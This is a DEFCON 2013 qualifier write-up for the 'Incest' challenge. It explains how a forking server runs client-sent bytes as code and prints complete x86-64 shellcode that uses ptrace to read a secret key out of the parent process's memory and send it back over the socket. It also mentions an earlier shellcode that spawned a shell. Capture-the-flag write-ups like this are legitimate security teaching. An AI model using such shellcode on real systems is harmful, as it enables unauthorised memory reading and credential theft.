DEFCON 2013 Quals: Incest - Shellcode (ÿäÌ) 1
Score 1
I hear banjos. incest.shallweplayaga.me:65535
http://assets-2013.legitbs.net/liabilities/maw
http://assets-2013.legitbs.net/liabilities/sis
As the title might suggest, this challenge involves children creation and family betrayal. The two given binaries are ELF64.
The first binary, maw
, accepts connections from the users and do the
classic accept
and fork
for each of those. Then, it opens the key file in
read only and executes (via execl
) the second binary, sis
. We can already
notice that the file descriptor for the key file will also be available in
the children sis
, as well as the socket of the client, the number of these
two file descriptors being passed on the command-line.
This second program forks after parsing these arguments and setting-up a couple
of signals and alarms. The parent closes the client’s socket file descriptor,
allocates a buffer on the heap (via calloc
) and reads the content of the
key file to this buffer. The child maps a new page, recv
0x200 bytes from
the socket to this page and directly call this page. The two new processes then
wait in an infinite loop and end-up killed by a SIGALARM
set-up at the start
of the sis
program.
In a first time, what we can retain from all this is that we only have to send the raw bytes of a shellcode and it will be directly executed without any trouble or restriction other than being limited to 0x200 bytes, if we call that a restriction…
So we began by writing a simple 3 × dup2
and execve(bash)
which allowed us
to browse the server and get a few pieces of information about the environment.
This allowed us to notice that the key file was only readable by maw
, which
dropped its privileges before executing sis
. It was thus impossible to read
the key from the shell we had.
This convinced us that the only way to read the key was to read the memory of
the sis
parent process (remember: sis
forks and the shellcode is executed
in the child) from the child, because it reads the key in a buffer and simply
waits 15 seconds before exiting.
We tried to make gdb read the parent memory from the shell we had, but could
not get it working, contrary to other teams, as we discovered at the end of the
CTF. So we built a shellcode that manipulate ptrace
to read the key from the
parent process.
It was pretty straightforward to write, it simply:
- gets the PID of the parent,
- attaches to this parent,
- waits for the parent,
- gets the
rbp
of the parent, which is useless because this should be the same for both process, but we used this to debug our shellcode so we kept it, - finds the address of the allocated buffer,
- sends the content of this buffer over the socket.
However we got stuck at this point with all our PTRACE_PEEKTEXT
failing. We
had used the manpage of ptrace(2)
to fill the ptrace syscall arguments,
but this manpage actually documents the ptrace wrapper in the glibc, which, for
some reason, does not use the same arguments as the Linux syscall. We lost a
lot of time on this stupid mistake.
Anyway, here is the final working shellcode :
```nasm ; getppid xor rax, rax mov al, 0x6e syscall mov r14, rax
; ptrace_attach mov rdi, 0x10 mov rsi, r14 xor rax, rax mov al, 0x65 syscall
; wait() xor rdi, rdi dec rdi xor rsi, rsi xor rdx, rdx xor rcx, rcx xor rax, rax mov al, 61 syscall
; ptrace_getregs mov rdi, 0xc mov rsi, r14 xor rdx, rdx mov r10, rsp xor rdx, rdx xor rax, rax mov al, 0x65 syscall xor r10, r10
mov r12, [rsp + 4*8] ; get the parent rbp add r12, -0x18 ; r12 = location of the wanted buffer
; ptrace_peektext : get the address of the buffer mov rdi, 0x1 mov rsi, r14 mov rdx, r12 mov r10, rsp xor rax, rax mov al, 0x65 syscall
; from r12 to r13 = (r12 + 0x80) mov r12, [rsp] mov r13, r12 ; to r13 add r13, 0x80
loop: ; ptrace_peektext mov rdi, 0x1 mov rsi, r14 mov rdx, r12 mov r10, rsp xor rax, rax mov al, 0x65 syscall
; write rax mov rax, [rsp] push rax push rsp pop rsi ; buf mov rdi, 0x4 ; fd mov rdx, 0x8 ; len xor rax, rax inc rax syscall pop rax
add r12, 0x8 cmp r12, r13 jbe loop